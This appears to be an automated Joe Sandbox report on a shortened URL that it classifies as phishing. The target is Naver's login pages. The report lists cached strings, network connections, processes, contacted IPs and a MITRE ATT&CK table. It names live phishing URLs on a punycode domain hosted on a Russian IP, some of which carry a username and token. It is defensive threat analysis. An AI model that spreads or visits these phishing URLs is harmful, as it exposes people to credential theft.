Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_etc_shape_140709.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_find_idpw.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_ico.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_ico_captcha.gif)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_ico_captcha2.gif)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_ico_otp.gif);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_ico_shape_151112.png);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_img_secretid_ko_150427.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_localset.gif)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_localset.gif);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_otp_check.png);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_otp_default_130812.png);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_otp_leave.png);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_otp_progress.png);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_otp_setting.png);
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_sech_box.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_sel_login_area_140326.gif)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_set_2nd.gif)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_sp_tab.gif)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_u_skip.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_update_info_140127.png)
Source: chromecache_85.2.dr	String found in binary or memory: https://static.nid.naver.com/images/web/user/sp_verify.png)
Source: chromecache_92.2.dr	String found in binary or memory: https://static.nid.naver.com/template/gnb_utf8.nhn?2021.
Source: chromecache_87.2.dr	String found in binary or memory: https://stock.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://story.naver.com/naverbrand/main.nhn
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://talks.naver.com/?frm=pcgnb
Source: chromecache_87.2.dr	String found in binary or memory: https://terms.naver.com/
Source: chromecache_87.2.dr	String found in binary or memory: https://tv.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://tv.naver.com/navercast
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://vibe.naver.com/today
Source: chromecache_87.2.dr	String found in binary or memory: https://vibe.naver.com/today/
Source: chromecache_87.2.dr	String found in binary or memory: https://weather.naver.com/
Source: chromecache_98.2.dr, chromecache_87.2.dr	String found in binary or memory: https://webmastertool.naver.com/
Source: chromecache_96.2.dr	String found in binary or memory: https://www.davidbcalhoun.com/2010/optimizing-based-on-connection-speed-using-navigator.connection-o
Source: chromecache_87.2.dr	String found in binary or memory: https://www.naver.com/more.html
Source: chromecache_92.2.dr	String found in binary or memory: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=2step&token=d2xkdXNoank%3D&last=edit
Source: chromecache_92.2.dr	String found in binary or memory: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=cmd&uid=wldushjy&mm=pwd&p1=
Source: chromecache_92.2.dr	String found in binary or memory: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=edit&token=d2xkdXNoank%3D&last=security
Source: chromecache_92.2.dr	String found in binary or memory: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=marker&p1=wldushjy&p2=.vrf
Source: chromecache_92.2.dr	String found in binary or memory: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//assets/css/help_member.css
Source: chromecache_92.2.dr	String found in binary or memory: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//assets/css/w_202105.css
Source: chromecache_87.2.dr	String found in binary or memory: https://zh.dict.naver.com/#/main

Source: unknown	Network traffic detected: HTTP traffic on port 60491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60697
Source: unknown	Network traffic detected: HTTP traffic on port 60513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60494
Source: unknown	Network traffic detected: HTTP traffic on port 60517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60493
Source: unknown	Network traffic detected: HTTP traffic on port 60471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60508
Source: unknown	Network traffic detected: HTTP traffic on port 60507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60506
Source: unknown	Network traffic detected: HTTP traffic on port 60518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60503
Source: unknown	Network traffic detected: HTTP traffic on port 60499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60467
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60480
Source: unknown	Network traffic detected: HTTP traffic on port 60506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60475
Source: unknown	Network traffic detected: HTTP traffic on port 60515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60474
Source: unknown	Network traffic detected: HTTP traffic on port 60480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60471
Source: unknown	Network traffic detected: HTTP traffic on port 60473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60518
Source: unknown	Network traffic detected: HTTP traffic on port 60519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60515
Source: unknown	Network traffic detected: HTTP traffic on port 60511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60513
Source: unknown	Network traffic detected: HTTP traffic on port 60477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60478
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60511
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60490
Source: unknown	Network traffic detected: HTTP traffic on port 60482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60484
Source: unknown	Network traffic detected: HTTP traffic on port 60516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60481
Source: unknown	Network traffic detected: HTTP traffic on port 60472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60489

Source: classification engine

Classification label: mal48.phis.win@17/62@24/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2280,i,15911477752783196429,6856431209675175544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tinyurl.com/286oc4ly"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2280,i,15911477752783196429,6856431209675175544,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://tinyurl.com/286oc4ly	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//assets/css/w_202105.css	0%	Avira URL Cloud	safe
https://weather.naver.com/	0%	Avira URL Cloud	safe
https://vibe.naver.com/today/	0%	Avira URL Cloud	safe
https://analytics.naver.com/	0%	Avira URL Cloud	safe
http://policy.naver.com/policy/privacy.html	0%	Avira URL Cloud	safe
https://novel.naver.com/webnovel/weekday	0%	Avira URL Cloud	safe
https://endic.naver.com/	0%	Avira URL Cloud	safe
https://jr.naver.com/	0%	Avira URL Cloud	safe
https://qr.naver.com/	0%	Avira URL Cloud	safe
https://moneybook.naver.com/	0%	Avira URL Cloud	safe
https://join.shopping.naver.com/index.nhn	0%	Avira URL Cloud	safe
https://novel.naver.com	0%	Avira URL Cloud	safe
https://newslibrary.naver.com/search/searchByDate.nhn	0%	Avira URL Cloud	safe
https://book.naver.com/	0%	Avira URL Cloud	safe
https://section.blog.naver.com/	0%	Avira URL Cloud	safe
https://story.naver.com/naverbrand/main.nhn	0%	Avira URL Cloud	safe
https://academic.naver.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tinyurl.com	104.17.112.233	true	false	high
static.nid.naver.com.nheos.com	223.130.195.167	true	false	high
www.google.com	142.250.185.132	true	false	high
kr1-nid.naver.com.nfront.nheos.com	125.209.233.21	true	false	unknown
xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e	45.14.246.94	true	false	unknown
ssl.pstatic.net	unknown	unknown	false	high
lcs.naver.com	unknown	unknown	false	high
static.nid.naver.com	unknown	unknown	false	high
nid.naver.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://tinyurl.com/286oc4ly	false	high
https://nid.naver.com/favicon.ico	false	high
https://static.nid.naver.com/getLoginStatus?callback=showGNB&charset=utf-8&svc=nid&template=gnb_utf8&one_naver=1	false	high
https://static.nid.naver.com/images/web/user/sp_u_skip.png	false	high
https://static.nid.naver.com/images/web/user/ci_naver.png	false	high
https://nid.naver.com/inc/common/js/lcs_nclicks.js	false	high
https://nid.naver.com/inc/common/js/jquery.min.js	false	high
https://nid.naver.com/inc/common/js/passwdAjax.js?20180530	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://sports.news.naver.com/sports/index.nhn?category=baseball	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://band.us/	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_box.gif)	chromecache_85.2.dr	false		high
https://vibe.naver.com/today/	chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/web/user/h2_modify_info2.png);	chromecache_85.2.dr	false		high
https://ssl.pstatic.net/static/common/gnb/one/ico_gnb_change_hover.png)	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/tab_viewrecord4.gif)	chromecache_85.2.dr	false		high
https://ssl.pstatic.net/static/common/gnb/pwe/gnb_notice.svg)	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://ssl.pstatic.net/static/www/2014/loading.gif)	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/ui/myinfo/pc_oval.png)	chromecache_85.2.dr	false		high
https://land.naver.com/	chromecache_87.2.dr	false		high
https://ssl.pstatic.net/static/common/gnb/2014/ico_arrow_wh.gif)	chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/ui/myinfo/m_cha.png)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/join2/bg_tit2.gif)	chromecache_85.2.dr	false		high
https://ssl.pstatic.net/static/common/gnb/2014/ico_arrow_bl1.gif)	chromecache_87.2.dr	false		high
https://ssl.pstatic.net/static/nid/account/m_md_clamp.png);	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_bubble_lt_ie5.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bu_dot.gif)	chromecache_85.2.dr	false		high
https://weather.naver.com/	chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/ui/myinfo/pc_btn_tooltip_close_180208.png)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/ui/myinfo/pc_sp_txt_shape.png)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/user/bg_bx_bar4.gif)	chromecache_85.2.dr	false		high
https://cafe.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/join2/popup/bg_bubble_rt.png);	chromecache_85.2.dr	false		high
https://ssl.pstatic.net/static/common/gnb/one/ico_gnb_change.png)	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://novel.naver.com/webnovel/weekday	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://qr.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/web/user/sp_set_2nd.gif)	chromecache_85.2.dr	false		high
https://analytics.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/ui/myinfo/pc_cha.png)	chromecache_85.2.dr	false		high
https://ssl.pstatic.net/static/nid/account/m_ico_switch_on.png)	chromecache_85.2.dr	false		high
https://nid.naver.com/user/help.nhn?todo=idinquiry	chromecache_98.2.dr, chromecache_87.2.dr	false		high
http://policy.naver.com/policy/privacy.html	chromecache_92.2.dr	false	Avira URL Cloud: safe	unknown
https://comic.naver.com/index.nhn	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/web/user/sp_ico_otp.gif);	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/user/bg_bx.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/web/user/bg_otp_step_phone.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/getPayPoint?callback=gnbUserLayer.payCallback	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/web/user/bg_otp_progress_20150714.jpg)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/join2/bg_not_available_common.gif)	chromecache_85.2.dr	false		high
https://nid.naver.com/user2/help/myInfo?m=viewSecurity&menu=security	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://mail.naver.com/note/	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://papago.naver.com/?sk=ko&tk=ja	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://mybox.naver.com/	chromecache_87.2.dr	false		high
https://nid.naver.com/user/help.nhn?todo=pwinquiry	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bu_attention.gif)	chromecache_85.2.dr	false		high
https://jr.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://moneybook.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://ssl.pstatic.net/static/common/gnb/one/ico_gnb_membership.png)	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://endic.naver.com/	chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//assets/css/w_202105.css	chromecache_92.2.dr	false	Avira URL Cloud: safe	unknown
https://ssl.pstatic.net/static/common/gnb/one/sp_gnb_4b16e6.png);background-position:	chromecache_87.2.dr	false		high
https://novel.naver.com	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://join.shopping.naver.com/index.nhn	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/user/images/user/bg_bx_bar.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/join2/bg_bx.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/web/user/bg_contxt_list.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_layerip.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_bubble_lb.png	chromecache_85.2.dr	false		high
https://newslibrary.naver.com/search/searchByDate.nhn	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/gnbConfig?callback=gnbFavorite.callback&config=	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/ico_web.gif)	chromecache_85.2.dr	false		high
https://blog.naver.com/MyBlog.naver	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_bubble_rt.png	chromecache_85.2.dr	false		high
https://section.blog.naver.com/	chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/user/images/help/bu_line.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/ico_hyphen.gif)	chromecache_85.2.dr	false		high
https://searchad.naver.com	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://book.naver.com/	chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/web/user/bu_rarr_green2.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/web/user/bu_tooltip_left.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_bubble_rb.png	chromecache_85.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/PerformancePaintTiming	chromecache_96.2.dr	false		high
https://static.nid.naver.com/images/user/images/user/line_hr.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/web/user/bg_otp_step_phone2.gif)	chromecache_85.2.dr	false		high
https://ssl.pstatic.net/static/common/gnb/bg_one_hover.png)	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://dict.naver.com/eskodict/#/main	chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/web/user/sp_localset.gif);	chromecache_85.2.dr	false		high
https://happybean.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/h3_security3way.gif)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_tab1.png)	chromecache_85.2.dr	false		high
https://static.nid.naver.com/images/user/images/join2/popup/bg_bubble_lb.png	chromecache_85.2.dr	false		high
https://story.naver.com/naverbrand/main.nhn	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://nid.naver.com/user2/api/naverProfile?m=checkIdType	chromecache_87.2.dr	false		high
https://ssl.pstatic.net/static/common/myarea/myInfo.gif	chromecache_87.2.dr	false		high
https://static.nid.naver.com/images/user/images/help/bg_bubble_lb.png);	chromecache_85.2.dr	false		high
https://academic.naver.com/	chromecache_98.2.dr, chromecache_87.2.dr	false	Avira URL Cloud: safe	unknown
https://static.nid.naver.com/images/user/images/help/ico_sound.gif)	chromecache_85.2.dr	false		high
https://github.com/blueimp/JavaScript-MD5	chromecache_96.2.dr	false		high
https://opensource.org/licenses/MIT	chromecache_96.2.dr	false		high
https://static.nid.naver.com/images/ui/myinfo/pc_sp_ico_shape_20170807.png)	chromecache_85.2.dr	false		high
https://mail.naver.com/external/mailCount?callback=showMailCount&svc=gnb	chromecache_98.2.dr, chromecache_87.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
223.130.195.167	static.nid.naver.com.nheos.com	Korea Republic of	23576	NHN-AS-KRNBPKR	false
45.14.246.94	xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e	Russian Federation	61390	GARANT-GRU	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
110.93.159.38	unknown	Korea Republic of	23576	NHN-AS-KRNBPKR	false
104.17.112.233	tinyurl.com	United States	13335	CLOUDFLARENETUS	false
125.209.233.21	kr1-nid.naver.com.nfront.nheos.com	Korea Republic of	23576	NHN-AS-KRNBPKR	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590511
Start date and time:	2025-01-14 08:11:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://tinyurl.com/286oc4ly
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@17/62@24/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 172.217.18.14, 64.233.184.84, 142.250.185.110, 172.217.18.110, 142.250.186.78, 142.250.65.238, 74.125.0.102, 23.201.246.46, 172.217.16.138, 142.250.186.74, 142.250.185.138, 142.250.185.106, 172.217.18.106, 216.58.212.170, 142.250.185.74, 172.217.18.10, 142.250.186.138, 142.250.184.202, 142.250.184.234, 142.250.186.42, 172.217.16.202, 172.217.23.106, 216.58.206.74, 216.58.206.42, 199.232.214.172, 2.17.190.73, 203.104.162.225, 142.250.185.131, 142.250.181.234, 142.250.185.234, 142.250.185.202, 142.250.74.202, 142.250.186.106, 142.250.186.170, 142.250.185.170, 184.28.90.27, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, e6030.e73.akamaiedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, nid.naver.com.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, ssl.pstatic.net.edgekey.net, update.googleapis.com, r1.sn-t0aekn7e.gvt1.com, de1-nf.naver.com.akadns.net, clients.l.google.com, r1---sn-t0aekn7e.gvt1.com, lcs.naver.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://tinyurl.com/286oc4ly

Input	Output
URL: https://tinyurl.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": true, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://tinyurl.com
